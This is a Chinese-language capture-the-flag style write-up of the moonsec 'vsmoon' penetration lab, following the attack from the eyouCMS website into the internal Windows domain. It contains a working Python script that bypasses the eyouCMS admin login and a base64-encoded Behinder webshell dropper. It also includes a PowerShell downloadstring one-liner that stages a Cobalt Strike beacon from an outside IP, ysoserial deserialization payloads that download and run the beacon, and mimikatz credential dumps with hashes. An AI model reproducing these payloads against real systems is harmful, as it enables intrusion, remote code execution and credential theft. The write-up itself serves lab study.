0


vsmoon 考核项目复现

靶场介绍

本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

这个是暗月渗透测试第五项目,本项目主要考核从外网web到内网域渗透的能力,主要考核内容包括以下:

web: php代码审计 、java反序列化漏洞利用等。
内网:隧道应用、横向渗透、域渗透等 。

配置信息

主机名账号和密码ipad域管理 vsmoon/administrator QWEasd…123
域通用户 vsmoon/data QWEasd…44410.10.10.137data管理员 administrator 密码 QWEasd12300192.168.22.146
10.10.10.136web管理员账号 administrator QWEadmin123 mysql账号和密码 mysql
root root123.123 网站账号 admin 密码 !@#AAA112192.168.0.116
192.168.22.152

拓扑图

image-20221015085837784

外网打点

端口扫描

# nmap -p 1-65535 -T4 -A -v 216.224.123.190

Not shown: 65524 filtered tcp ports (no-response)

PORT      STATE SERVICE              VERSION

80/tcp    open  http?

5985/tcp  open  http                 Microsoft HTTPAPI httpd 2.0(SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

7000/tcp  open  ssl/afs3-fileserver?

|_ssl-date: TLS randomness does not represent time| ssl-cert: Subject: 

| Issuer: 

| Public Key type: rsa

| Public Key bits: 1024| Signature Algorithm: sha256WithRSAEncryption

| Not valid before: 1-01-01T00:00:00

| Not valid after:  1-01-01T00:00:00

| MD5:   9578d3a2934439723ebe50c0fca62eda

|_SHA-1: 01228061f6921fb5fda6aebedc0c44b3230a76ea

|_irc-info: Unable to open connection

47001/tcp open  http                 Microsoft HTTPAPI httpd 2.0(SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0

|_http-title: Not Found

49152/tcp open  msrpc                Microsoft Windows RPC

49153/tcp open  msrpc                Microsoft Windows RPC

49154/tcp open  msrpc                Microsoft Windows RPC

49155/tcp open  msrpc                Microsoft Windows RPC

49157/tcp open  msrpc                Microsoft Windows RPC

49158/tcp open  msrpc                Microsoft Windows RPC

55999/tcp open  ssl/unknown

|_ssl-date: 2022-10-02T15:08:01+00:00; +4s from scanner time.

| ssl-cert: Subject: commonName=HHQtTJ4985

| Issuer: commonName=HHQtTJ4985

| Public Key type: rsa

| Public Key bits: 2048| Signature Algorithm: sha1WithRSAEncryption

| Not valid before: 2022-09-04T07:49:04

| Not valid after:  2023-03-06T07:49:04

| MD5:   c593fdc4f2e205202272ef72eba96874

|_SHA-1: 0251ccabdabda2dbfc4aa4dadd111d733b940b74

Warning: OSScan results may be unreliable because we could not find at least 1open and 1 closed port

端口扫描没有看到什么有用的东西,只有一个 80 端口是可以访问的。

网站信息收集

访问网站在网站下面发现为eyoucms 。

image-20221002161516079

在百度搜索相关漏洞,可能存在 eyouCMS 1.5.2 前台getshell 漏洞

文章地址:https://www.cnblogs.com/1jzz/p/15489724.html

已知的后台登录地址:

http://216.224.123.190/login.php?s=Admin/login

PHP代码审计绕过登录进后台

我们先去官网下载对应的版本,设置 xdebug 用 Phpstorm 进行代码审计。

# php.ini xdebug 设置[Xdebug]zend_extension=C:/Penetration/TrafficTools/phpStudyV8/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.collect_params=1
xdebug.collect_return=1
xdebug.auto_trace=Off
xdebug.trace_output_dir=C:/Penetration/TrafficTools/phpStudyV8/Extensions/php_log/php7.3.4nts.xdebug.trace
xdebug.profiler_enable=Off
xdebug.profiler_output_dir ="C:/Penetration/TrafficTools/phpStudyV8/Extensions/tmp/xdebug"
xdebug.remote_enable=Off
xdebug.remote_host=localhost
xdebug.remote_port=9000
xdebug.remote_handler=dbgp
xdebug.remote_autostart=1 
xdebug.remote_enable=On
xdebug.idekey="PHPSTORM"

Phpstorm 设置

image-20221015092658239

后台登录判断

路径:

application/admin/controller/Base.php
publicfunction_initialize(){$this->session_id=session_id();// 当前的 session_id!defined('SESSION_ID')&&define('SESSION_ID',$this->session_id);//将当前的session_id保存为常量,供其它方法调用parent::_initialize();//过滤不需要登陆的行为$ctl_act=CONTROLLER_NAME.'@'.ACTION_NAME;$ctl_all=CONTROLLER_NAME.'@*';$filter_login_action=config('filter_login_action');if(in_array($ctl_act,$filter_login_action)||in_array($ctl_all,$filter_login_action)){//return;}else{$web_login_expiretime=tpCache('web.web_login_expiretime');empty($web_login_expiretime)&&$web_login_expiretime=config('login_expire');$admin_login_expire=session('admin_login_expire');// 登录有效期web_login_expiretime// 验证登录if(session('?admin_id')&&getTime()-intval($admin_login_expire)<$web_login_expiretime){session('admin_login_expire',getTime());// 登录有效期$this->check_priv();//检查管理员菜单操作权限}else{/*自动退出*/adminLog('访问后台');session_unset();session::clear();cookie('admin-treeClicked',null);// 清除并恢复栏目列表的展开方式/*--end*/if(IS_AJAX){$this->error('登录超时!');}else{$url=request()->baseFile().'?s=Admin/login';$this->redirect($url);}}}/* 增、改的跳转提示页,只限制于发布文档的模型和自定义模型 */$channeltype_list=config('global.channeltype_list');$controller_name=$this->request->controller();$this->assign('controller_name',$controller_name);if(isset($channeltype_list[strtolower($controller_name)])||'Custom'==$controller_name){if(in_array($this->request->action(),['add','edit'])){\think\Config::set('dispatch_success_tmpl','public/dispatch_jump');$id=input('param.id/d',input('param.aid/d'));('GET'==$this->request->method())&&cookie('ENV_IS_UPHTML',0);}elseif(in_array($this->request->action(),['index'])){cookie('ENV_GOBACK_URL',$this->request->url());cookie('ENV_LIST_URL',request()->baseFile()."?m=admin&c={$controller_name}&a=index&lang=".$this->admin_lang);}}if('Archives'==$controller_name&&in_array($this->request->action(),['index_archives'])){cookie('ENV_GOBACK_URL',$this->request->url());cookie('ENV_LIST_URL',request()->baseFile()."?m=admin&c=Archives&a=index_archives&lang=".$this->admin_lang);}/* end */}

其中最重要的代码为

// 验证登录if(session('?admin_id')&&getTime()-intval($admin_login_expire)<$web_login_expiretime){session('admin_login_expire',getTime());// 登录有效期$this->check_priv();//检查管理员菜单操作权限

这里的判断为是否能够登录,成功后会设置登录的有效期。

其中的 check_priv 函数是验证我们是否拥有管理员权限的。

publicfunctioncheck_priv(){$ctl=CONTROLLER_NAME;$act=ACTION_NAME;$ctl_act=$ctl.'@'.$act;$ctl_all=$ctl.'@*';//无需验证的操作$uneed_check_action=config('uneed_check_action');if(0>=intval(session('admin_info.role_id'))){//超级管理员无需验证returntrue;}else{$bool=false;/*检测是否有该权限*/if(is_check_access($ctl_act)){$bool=true;}/*--end*//*在列表中的操作不需要验证权限*/if(IS_AJAX||strpos($act,'ajax')!==false||in_array($ctl_act,$uneed_check_action)||in_array($ctl_all,$uneed_check_action)){$bool=true;}/*--end*///检查是否拥有此操作权限if(!$bool){$this->error('您没有操作权限,请联系超级管理员分配权限');}}}

这里可以看到如果

0 >= intval(session('admin_info.role_id'))

成立就直接返回 true 。

到这里我们还看不出来有什么漏洞,个人理解漏洞在于

application/admin/controller/Ajax.php

中的

get_token

方法,其中的 $name 是我们可以控制的并且还进行了md5的加密。

application/admin/controller/Ajax.php
publicfunctionget_token($name='__token__'){if(IS_AJAX){echo$this->request->token($name);exit;}else{abort(404);}}

我们再跟一下

token

函数

publicfunctiontoken($name='__token__',$type='md5'){$type=is_callable($type)?$type:'md5';$token=call_user_func($type,$_SERVER['REQUEST_TIME_FLOAT']);if($this->isAjax()){header($name.': '.$token);}Session::set($name,$token);return$token;}
REQUEST_TIME_FLOAT

为服务器的时间戳

这里还有一个小细节,这里有一个函数

isAjax

用于验证是否是 Ajax 请求,我们跟进看一下具体实现。

publicfunctionisAjax($ajax=false){$value=$this->server('HTTP_X_REQUESTED_WITH','','strtolower');$result=('xmlhttprequest'==$value)?true:false;if(true===$ajax){return$result;}else{$result=$this->param(Config::get('var_ajax'))?true:$result;$this->mergeParam=false;return$result;}}

可以看到它只是判断了我们请求头中有没有

X_REQUESTED_WITH

并且值为

xmlhttprequest

,这个很好绕过,我们在请求的时候抓包添加一下就行了。

到这里有的人就有点懵了,这怎么就绕过登录了呢,我们先来梳理一下绕过流程:

  • 1.首先判断 session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime 这里决定我们能不能登录
  • 2.然后判断 (0 >= intval(session('admin_info.role_id'))) 这里决定我们是否是管理员权限

其中的

admin_login_expire

admin_id

admin_info.role_id

都是在 session 中取出来的,本来代码没有什么问题但是在

get_token

函数中我们能控制传入的 name,如果我们给它传入

admin_login_expire

admin_id

admin_info.role_id

我们就变相的控制了这三个变量的值。

并且设置的 session 的 name 值还进行了MD5的加密,在 php 中使用

intval

类型转换如果失败就会返回 0。具体的东西可以在网上搜索一下

intval

的用法。

我们想一下如果

admin_id

有值并且

admin_login_expire

admin_info.role_id

都为 0,是不是就满足了上面的两个条件了呢。

那剩下的利用就简单了,先给

admin_id

一个值再编写一个脚本不断请求修改

admin_login_expire

admin_info.role_id

直到找到符合条件的值,然后使用成功的 PHPSESSION 去替换我们的 PHPSESSION 进行登录。

python 编写脚本登录后台

# -*- coding:utf-8 -*-from time import time

import requests
import re

# 定义 header 头, 绕过 isAjax
header ={'x-requested-with':'xmlhttprequest'}# 定义一个 requests 会话
request = requests.session()

PHPSESSION =""# 绕过第一个判断defget_session(url):global PHPSESSION

    # 设置 admin_id 并且,获取 PHPSESSION
    payload ='/index.php'
    result = request.get(url=url + payload, headers=header)# 获取PHPSESSIONprint("[+] PHPSESSION = "+ re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0])
    PHPSESSION = re.search("PHPSESSID=(.*?);", result.headers["set-cookie"]).groups()[0]defset_admin_id(url):# 设置一个 admin_id 以绕过,第一个条件
    payload ='/index.php?m=api&c=ajax&a=get_token&name=admin_id'
    result = request.get(url=url + payload, headers=header).text
    print(f"[+] 正在设置 admin_id -> [{result}]")defset_admin_login_expire(url):
    payload ="/index.php?m=api&c=ajax&a=get_token&name=admin_login_expire"whileTrue:
        result = request.get(url=url + payload, headers=header).text

        # 第二个判断条件,判断登录是否在一小时里if(time()-int(change(result),10)<3600):print("[+] admin_login_expire = "+ result)breakprint(f"[INFO] 正在爆破 admin_login_expire -> [{result}]")defset_admin_info_role_id(url):
    payload ="/index.php?m=api&c=ajax&a=get_token&name=admin_info.role_id"whileTrue:
        result = request.get(url=url + payload, headers=header).text

        # 第三个判断条件,判断是否是管理员权限if(int(change(result),10)<=0):print("[+] admin_login_expire = "+ result)breakprint(f"[INFO] 正在爆破 admin_info.role_id -> [{result}]")defcheck_login(url):
    payload ="login.php?m=admin&c=System&a=web&lang=cn"
    result = request.get(url=url + payload).text

    if"网站LOGO"in result:print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录成功!")else:print(f"[+] 使用 PHPSESSION -> [{PHPSESSION}] 登录失败!")# 如果第一个字符为字母就直接返回0,不是则直到找到字母,并且返回前面不是字母的字符defchange(string):
    temp =''for n, s inenumerate(string):if n ==0:if s.isalpha():return'0'breakif s.isdigit():
            temp +=str(s)else:if s.isalpha():breakreturn temp

defrun(url):# 开始计时
    time_start = time()

    get_session(url)
    set_admin_id(url)
    set_admin_login_expire(url)
    set_admin_info_role_id(url)
    check_login(url)print(f"[+] PHPSESSION = {PHPSESSION}")# 结束计时
    time_end = time()print(f"[+] 总共用时 {int(time_end)-int(time_start)} s")if __name__ =='__main__':
    url ="http://192.168.0.116/"
    run(url)

后台 getshell

通过在网上的信息收集,使用 eyoucms 1.5.5 后台任意命令执行漏洞 getshell。

文章地址:https://blog.csdn.net/miuzzx/article/details/122235070

先使用脚本登录进后台

image-20221016165244434

在模板管理中的

index.htm

插入,写入冰蝎马的代码。

image-20221016165437709

<?=file_put_contents("./uploads/allimg/sx.php",base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogICAgJGtleT0iZGZmZjBhN2ZhMWE1NWM4YyI7IAoJJF9TRVNTSU9OWydrJ109JGtleTsKCXNlc3Npb25fd3JpdGVfY2xvc2UoKTsKCSRwb3N0PWZpbGVfZ2V0X2NvbnRlbnRzKCJwaHA6Ly9pbnB1dCIpOwoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkKCXsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiKiIsIj0iLCRwb3N0KTsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiIyIsJGtleVswXSwkcG9zdCk7CgkJJHQ9ImJhc2U2NF8iLiJkZWNvZGUiOwoJCSRwb3N0PSR0KCRwb3N0LiIiKTsKCQlmb3IoJGk9MDskaTxzdHJsZW4oJHBvc3QpOyRpKyspIHsKICAgIAkJJHBvc3RbJGldID0gJHBvc3RbJGldXiRrZXlbJGkrMSYxNV07IAogICAgCX0KCX0KCWVsc2UKCXsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiKiIsIj0iLCRwb3N0KTsKCQkkcG9zdD1zdHJfcmVwbGFjZSgiIyIsJGtleVswXSwkcG9zdCk7CgkJJHBvc3Q9b3BlbnNzbF9kZWNyeXB0KCRwb3N0LCAiQUVTMTI4IiwgJGtleSk7CgkJZm9yKCRpPTA7JGk8c3RybGVuKCRwb3N0KTskaSsrKSB7CiAgICAJCSRwb3N0WyRpXSA9ICRwb3N0WyRpXV4ka2V5WyRpKzEmMTVdOyAKICAgIAl9Cgl9CgkKICAgICRhcnI9ZXhwbG9kZSgnfCcsJHBvc3QpOwogICAgJGZ1bmM9JGFyclswXTsKICAgICRwYXJhbXM9JGFyclsxXTsKCWNsYXNzIEN7cHVibGljIGZ1bmN0aW9uIF9faW52b2tlKCRwKSB7ZXZhbCgkcC4iIik7fX0KICAgIEBjYWxsX3VzZXJfZnVuYyhuZXcgQygpLCRwYXJhbXMpOwo/Pgo="));

然后访问 http://192.168.0.116/index.php 生成冰蝎马,使用冰蝎进行连接密码 cmd。

image-20221016165716147

上线 cs

使用 powershell 上线cs。

powershell IEX ((new-object net.webclient).downloadstring('http://43.143.15.244:7777/a'))

image-20221016170430120

image-20221016170442223

内网渗透

信息收集

网卡信息收集

beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+]host called home, sent: 39 bytes
[+] received output:

Windows IP 配置

以太网适配器 Ethernet1:

   连接特定的 DNS 后缀 .......: 
   本地链接 IPv6 地址. .......: fe80::1dbf:ab65:be0f:f2d6%14
   IPv4 地址 ............:192.168.22.152
   子网掩码  ............:255.255.255.0
   默认网关. ............: 

以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 .......: 
   本地链接 IPv6 地址. .......: fe80::c5e2:88c3:ca01:b8eb%12
   IPv4 地址 ............:192.168.0.116
   子网掩码  ............:255.255.255.0
   默认网关. ............:192.168.0.2

隧道适配器 isatap.{EB347315-9EA8-47D0-99FC-1F4625727AAC}:

   媒体状态  ............: 媒体已断开
   连接特定的 DNS 后缀 .......: 

隧道适配器 isatap.{AF68560E-849D-46A8-8A5D-9BD78D0C2A97}:

   媒体状态  ............: 媒体已断开
   连接特定的 DNS 后缀 .......:

存在两个网段 192.168.22.0/24 、192.168.0.0/24

使用fscan扫描网段

使用cs的插件 LSTAR 上传 fscan 进行扫描。

# fscan.exe -h 192.168.22.1/24 -o out.txt[+] received output:

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___|| __ 
 / /_\/____/ __|/ __|'__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.6.3
start infoscan
(icmp) Target '192.168.22.152' is alive
(icmp) Target '192.168.22.146' is alive
(icmp) Target '192.168.22.1' is alive
icmp alive hosts len is: 3192.168.22.146:135 open192.168.22.152:139 open192.168.22.152:3306 open192.168.22.146:445 open192.168.22.152:445 open192.168.22.146:139 open192.168.22.1:443 open192.168.22.152:135 open192.168.22.152:80 open192.168.22.146:9999 open
alive ports len is: 10
start vulscan
NetInfo:
[*]192.168.22.152
   [->]web
   [->]192.168.0.116
   [->]192.168.22.152
NetInfo:
[*]192.168.22.146
   [->]data
   [->]10.10.10.136
   [->]192.168.22.146
[*]192.168.22.152       WORKGROUP\WEB               Windows Server 2012 R2 Standard 9600[*] WebTitle:http://192.168.22.152     code:200 len:39     title:鍝嶅簲寮忛挘閲戣澶囧埗閫犵綉绔欐ā鏉�
[*] WebTitle:https://192.168.22.1      code:403 len:0      title:None
[*]192.168.22.146       VSMOON\DATA              Windows Server 2012 R2 Standard 9600[+] received output:

看到存在 192.168.22.146 ,继续进行详细的端口扫描。

# fscan.exe -h 192.168.22.146 -np -p 1-65535 -o out.txt# 加上 -np 的参数让它不要 ping 直接进行扫描[+] received output:

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___|| __ 
 / /_\/____/ __|/ __| '__/ _` |/ __||/ /
/ /_\\_____\__ \(__|||(_||(__|<\____/     |___/\___|_|\__,_|\___|_|\_\   
                     fscan version: 1.6.3
start infoscan
192.168.22.146:139 open192.168.22.146:135 open192.168.22.146:445 open[+] received output:
192.168.22.146:5985 open[+] received output:
192.168.22.146:9999 open[+] received output:
192.168.22.146:47001 open[+] received output:
192.168.22.146:49159 open192.168.22.146:49158 open192.168.22.146:49157 open192.168.22.146:49156 open192.168.22.146:49155 open192.168.22.146:49154 open192.168.22.146:49153 open192.168.22.146:49152 open[+] received output:
alive ports len is: 14
start vulscan

[+] received output:
[*] WebTitle:http://192.168.22.146:5985 code:404 len:315    title:Not Found
[*] WebTitle:http://192.168.22.146:47001 code:404 len:315    title:Not Found
NetInfo:
[*]192.168.22.146
   [->]data
   [->]10.10.10.136
   [->]192.168.22.146
[*]192.168.22.146       VSMOON\DATA              Windows Server 2012 R2 Standard 9600[+] received output:

从端口上没有看到可以利用的点。当时在考核的时候一直没发现突破点,直到我使用rdp登录到桌面结合月师傅说第二台考验的是Java反序列化才发现了突破点。

a3538fd9-3a6e-4466-9c1f-f70b8d9fd64e

桌面上存在一个

QQclient.jar

的 Java 文件并且还有账号密码。

beacon> shell type C:\Users\Administrator\Desktop\帐号.txt
[*] Tasked beacon to run: type C:\Users\Administrator\Desktop\帐号.txt
[+]host called home, sent: 75 bytes
[+] received output:
moonsec 123456100123456

除了截图桌面和登录系统,我们还可以使用

netstat -ano

查看可疑的程序连接

# netstat -ano
活动连接

  协议  本地地址          外部地址        状态           PID
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       7156
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       588
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:3306           0.0.0.0:0              LISTENING       6416
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       400
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING       696
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING       752
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING       992
  TCP    0.0.0.0:49156          0.0.0.0:0              LISTENING       1052
  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING       496
  TCP    0.0.0.0:49158          0.0.0.0:0              LISTENING       5828
  TCP    0.0.0.0:49161          0.0.0.0:0              LISTENING       504
  TCP    127.0.0.1:53           0.0.0.0:0              LISTENING       1052
  TCP    192.168.0.116:53       0.0.0.0:0              LISTENING       1052
  TCP    192.168.0.116:139      0.0.0.0:0              LISTENING       4
  TCP    192.168.0.116:49163    61.160.204.189:80      CLOSE_WAIT      7112
  TCP    192.168.0.116:57694    43.143.15.244:6677     SYN_SENT        6244
  TCP    192.168.22.152:53      0.0.0.0:0              LISTENING       1052
  TCP    192.168.22.152:139     0.0.0.0:0              LISTENING       4
  TCP    192.168.22.152:52440   192.168.22.146:9999    FIN_WAIT_2      5268
  TCP    192.168.22.152:52479   192.168.22.146:9999    FIN_WAIT_2      5268
  TCP    192.168.22.152:55078   192.168.22.146:9999    FIN_WAIT_2      5708
  TCP    192.168.22.152:64100   192.168.22.146:9999    FIN_WAIT_2      5708
  TCP    [::]:80                [::]:0                 LISTENING       7156
  TCP    [::]:135               [::]:0                 LISTENING       588
  TCP    [::]:445               [::]:0                 LISTENING       4
  TCP    [::]:3306              [::]:0                 LISTENING       6416
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49152             [::]:0                 LISTENING       400
  TCP    [::]:49153             [::]:0                 LISTENING       696
  TCP    [::]:49154             [::]:0                 LISTENING       752
  TCP    [::]:49155             [::]:0                 LISTENING       992
  TCP    [::]:49156             [::]:0                 LISTENING       1052
  TCP    [::]:49157             [::]:0                 LISTENING       496
  TCP    [::]:49158             [::]:0                 LISTENING       5828
  TCP    [::]:49161             [::]:0                 LISTENING       504
  TCP    [::1]:53               [::]:0                 LISTENING       1052
  TCP    [fe80::1dbf:ab65:be0f:f2d6%14]:53  [::]:0                 LISTENING       1052
  TCP    [fe80::c5e2:88c3:ca01:b8eb%12]:53  [::]:0                 LISTENING       1052

这里同样可以看到与 192.168.22.146:9999 的可疑连接。

Java代码审计 反序列化分析

我们在cs上下载

QQclient.jar

进行反编译分析

image-20221016183458100

我们使用 jdGUI 打开 jar 包

image-20221016183445668

关于Java反序列化,我们可以直接全局搜索函数

writeObject

readObject

通过全局搜索函数找到了以下的代码

image-20221016183648832

publicbooleancheckUser(String userId,String pwd){this.u.setUserId(userId);this.u.setPasswd(pwd);boolean b =false;try{this.socket =newSocket(InetAddress.getByName("192.168.22.146"),9999);ObjectOutputStream oos =newObjectOutputStream(this.socket.getOutputStream());
      oos.writeObject(this.u);ObjectInputStream ois =newObjectInputStream(this.socket.getInputStream());Message ms =(Message)ois.readObject();if(ms.getMesType().equals("1")){ClientConnectServerThreadClientConnectServerThread=newClientConnectServerThread(this.socket);ClientConnectServerThread.start();ManageClientConnectServerThread.addClientConnectServerThread(userId,ClientConnectServerThread);
        
        b =true;}else{this.socket.close();}}catch(Exception e){
      e.printStackTrace();}return b;}

在代码中调用了

writeObject

方法进行序列化并且通过 socket 发送给了服务端,那我们就可以想一下服务端的代码会不会是接收 socket 然后使用

readObject

反序列化呢。

具体的服务端代码可以从 github 上搜索到,由于我的Java水平还不到家(才学到面向对象),自己写exp就算了。

具体的利用,还是直接使用网上的工具吧。

反序列化利用 上线cs

cs 生成转发上线的木马

image-20221016202056249

我们把生成的木马上传到 web 的网站根目录,一会利用反序列化直接下载执行上线cs。

image-20221016202337445

这里要想利用反序列化我们需要先确定服务端的Java版本,这里我查看了 web 上面的版本猜测服务器上面的版本应该是一样的。

beacon> shell java -version
[*] Tasked beacon to run: java -version
[+]host called home, sent: 44 bytes
[+] received output:
java version "1.8.0_65"
Java(TM) SE Runtime Environment (build 1.8.0_65-b17)
Java HotSpot(TM)64-Bit Server VM (build 25.65-b01, mixed mode)

可以看到版本为

1.8.0_65

1.8.0__71

以下,那么这里可能能够使用 cc1链 来执行命令。

这里我直接使用

ysoserial

来生成攻击代码。

java -jar ysoserial-0.0.5-all.jar CommonsCollections1 "certutil -urlcache -split -f http://192.168.22.152/beacon.exe C:/windows/temp/cs.exe"> re.bin

java -jar ysoserial-0.0.5-all.jar CommonsCollections1 "C:/windows/temp/cs.exe"> re.bin

开启代理使用 nc 发送攻击代码

type re.bin | nc64.exe -vn 192.168.22.146 9999

因为我是Windows系统所以这里我使用 SocksCap64 来代理流量

image-20221016203146950

执行下载木马的命令

image-20221016203017827

运行木马

image-20221016203030714

cs成功上线

image-20221016203052507

第二台电脑信息收集

查看网卡

# shell ipconfig
beacon> shell ipconfig
[*] Tasked beacon to run: ipconfig
[+]host called home, sent: 39 bytes
[+] received output:

Windows IP 配置

以太网适配器 Ethernet1:

   连接特定的 DNS 后缀 .......: 
   IPv4 地址 ............:192.168.22.146
   子网掩码  ............:255.255.255.0
   默认网关. ............: 

以太网适配器 Ethernet0:

   连接特定的 DNS 后缀 .......: 
   IPv4 地址 ............:10.10.10.136
   子网掩码  ............:255.255.255.0
   默认网关. ............: 

隧道适配器 isatap.{3584A6AF-8A8B-43AF-9A7B-052489073912}:

   媒体状态  ............: 媒体已断开
   连接特定的 DNS 后缀 .......: 

隧道适配器 isatap.{0669B5F2-DA59-4096-B162-1871A174DEB9}:

   媒体状态  ............: 媒体已断开
   连接特定的 DNS 后缀 .......:

存在

10.10.10.1/24

网段,在cs上使用插件上传 fscan 扫描内网段

# fscan.exe -h 10.10.10.1/24 -o out.txt[+] received output:

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___|| __ 
 / /_\/____/ __|/ __|'__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.6.3
start infoscan
(icmp) Target '10.10.10.136' is alive
(icmp) Target '10.10.10.137' is alive
icmp alive hosts len is: 210.10.10.136:139 open10.10.10.136:135 open10.10.10.137:88 open10.10.10.137:445 open10.10.10.136:445 open10.10.10.137:139 open10.10.10.137:135 open10.10.10.136:9999 open
alive ports len is: 8
start vulscan
NetInfo:
[*]10.10.10.136
   [->]data
   [->]10.10.10.136
   [->]192.168.22.146
[*]10.10.10.136         VSMOON\DATA              Windows Server 2012 R2 Standard 9600
NetInfo:
[*]10.10.10.137
   [->]ad
   [->]10.10.10.137
[*]10.10.10.137  (Windows Server 2012 R2 Standard 9600)[*]10.10.10.137   [+]DC __MSBROWSE__\AD                Windows Server 2012 R2 Standard 9600

初步判断 10.10.10.137 为域控

域信息收集

定位域控

beacon> shell net time /domain
[*] Tasked beacon to run: net time /domain
[+]host called home, sent: 47 bytes
[+] received output:
\\ad.vsmoon.com 的当前时间是 2022/10/16 20:43:02

命令成功完成。

beacon> shell ping ad.vsmoon.com
[*] Tasked beacon to run: ping ad.vsmoon.com
[+]host called home, sent: 49 bytes
[+] received output:

正在 Ping ad.vsmoon.com [10.10.10.137] 具有 32 字节的数据:
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=128
来自 10.10.10.137 的回复: 字节=32 时间<1ms TTL=12810.10.10.137 的 Ping 统计信息:
    数据包: 已发送 =4,已接收 =4,丢失 =0(0% 丢失),
往返行程的估计时间(以毫秒为单位):
    最短 = 0ms,最长 = 0ms,平均 = 0ms

成功定位到域控 10.10.10.137

尝试横向移动

抓取hash抓取明文

beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82541 bytes
[+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e0eaa205900fd89d4ebc9fe6176b4763:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

beacon> logonpasswords
[*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command
[+] host called home, sent: 297594 bytes
[+] received output:

Authentication Id : 0 ; 69234 (00000000:00010e72)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-90-1
    msv :    
     [00000003] Primary
     * Username : DATA$
     * Domain   : VSMOON
     * NTLM     : dbcf2fc907129da73618daaacfda88e8
     * SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61
    tspkg :    
    wdigest :    
     * Username : DATA$
     * Domain   : VSMOON
     * Password : (null)
    kerberos :    
     * Username : DATA$
     * Domain   : vsmoon.com
     * Password : ]U;1IaK",]L2>NK_q@R"dtmq=p,K@3gpI=#*J*o13/3>A;O$/*]f'<9d1Q>=HFEC%$YE8h%6CG\tU#0B%@l"xm'8-r?^bH@V+c"pKwfKvbFCi$A`s&Sg)1D'
    ssp :    
    credman :    

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : DATA$
Domain            : VSMOON
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : S-1-5-20
    msv :    
     [00000003] Primary
     * Username : DATA$
     * Domain   : VSMOON
     * NTLM     : dbcf2fc907129da73618daaacfda88e8
     * SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61
    tspkg :    
    wdigest :    
     * Username : DATA$
     * Domain   : VSMOON
     * Password : (null)
    kerberos :    
     * Username : data$
     * Domain   : vsmoon.com
     * Password : ]U;1IaK",]L2>NK_q@R"dtmq=p,K@3gpI=#*J*o13/3>A;O$/*]f'<9d1Q>=HFEC%$YE8h%6CG\tU#0B%@l"xm'8-r?^bH@V+c"pKwfKvbFCi$A`s&Sg)1D'
    ssp :    
    credman :    

Authentication Id : 0 ; 44725 (00000000:0000aeb5)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2022/10/16 19:11:43
SID               : 
    msv :    
     [00000003] Primary
     * Username : DATA$
     * Domain   : VSMOON
     * NTLM     : dbcf2fc907129da73618daaacfda88e8
     * SHA1     : 2a75e3d076e500e50799e31041af12feef4edb61
    tspkg :    
    wdigest :    
    kerberos :    
    ssp :    
    credman :    

Authentication Id : 0 ; 266563 (00000000:00041143)
Session           : Interactive from 1
User Name         : Administrator
Domain            : DATA
Logon Server      : DATA
Logon Time        : 2022/10/16 19:12:59
SID               : S-1-5-21-2857872562-3615050297-2583995794-500
    msv :    
     [00010000] CredentialKeys
     * NTLM     : e0eaa205900fd89d4ebc9fe6176b4763
     * SHA1     : 8d04efa26f0e2a54a3fbaf522076d8f217921751
     [00000003] Primary
     * Username : Administrator
     * Domain   : DATA
     * NTLM     : e0eaa205900fd89d4ebc9fe6176b4763
     * SHA1     : 8d04efa26f0e2a54a3fbaf522076d8f217921751
    tspkg :    
